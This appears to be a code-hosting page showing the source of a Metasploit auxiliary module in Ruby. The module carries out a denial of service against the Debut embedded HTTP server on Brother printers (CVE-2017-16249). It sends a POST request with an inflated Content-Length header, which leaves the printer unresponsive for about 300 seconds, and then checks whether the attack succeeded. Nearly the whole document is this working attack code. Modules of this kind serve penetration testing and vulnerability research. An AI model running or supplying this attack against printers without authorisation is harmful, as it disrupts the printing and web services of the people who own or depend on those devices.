Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/http/brother_debut_dos.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'Brother Debut http Denial Of Service',12'Description' => %q{13The Debut embedded HTTP server <= 1.20 on Brother printers allows for a Denial14of Service (DoS) condition via a crafted HTTP request. The printer will be15unresponsive from HTTP and printing requests for ~300 seconds. After which, the16printer will start responding again.17},18'License' => MSF_LICENSE,19'Author' =>20[21'z00n <[email protected]>', # vulnerability disclosure22'h00die' # metasploit module23],24'References' => [25[ 'CVE', '2017-16249' ],26[ 'URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18730']27],28'DisclosureDate' => '2017-11-02'))29end3031def is_alive?32res = send_request_raw({33'method' => 'GET',34'uri' => '/',35},10)3637return !res.nil?38rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE39print_error("Couldn't connect to #{peer}")40end4142def dos43# The web server is single threaded, and when the content length is longer than the data, it will continue to wait44# for the rest of the data, which never comes, and times out after ~300 seconds.45data = Rex::Text.rand_text_alphanumeric(40)46send_request_cgi({47'method' => 'POST',48'uri' => '/',49'data' => data, #'asdasdasdasdasdasdasd',50'headers' => {51# These are kept here since they were in the original exploit, however they are not required52#'Host' => 'asdasdasd',53#'User-Agent' => 'asdasdasd',54#'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',55#'Accept-Language' => 'en-US,en;q=0.5',56#'Referer' => 'asdasdasdasd',57#'Connection' => 'close',58#'Upgrade-Insecure-Requests' => 1,59#'Content-Type' => 'application/x-www-form-urlencoded',60'Content-Length' => data.length + rand(10) + 10 #4261}62})63rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE64print_error("Couldn't connect to #{peer}")65end6667def run68time = Time.new69print_status("Sending malformed POST request at #{time.strftime("%Y-%m-%d %H:%M:%S")}.")70dos7172# Check to see if it worked or not73if is_alive?74print_error("#{peer} - Server is still alive.")75else76print_good("#{peer} - Connection Refused: Success! Server will recover about #{(time + 300).strftime("%Y-%m-%d %H:%M:%S")}")77end78end79end808182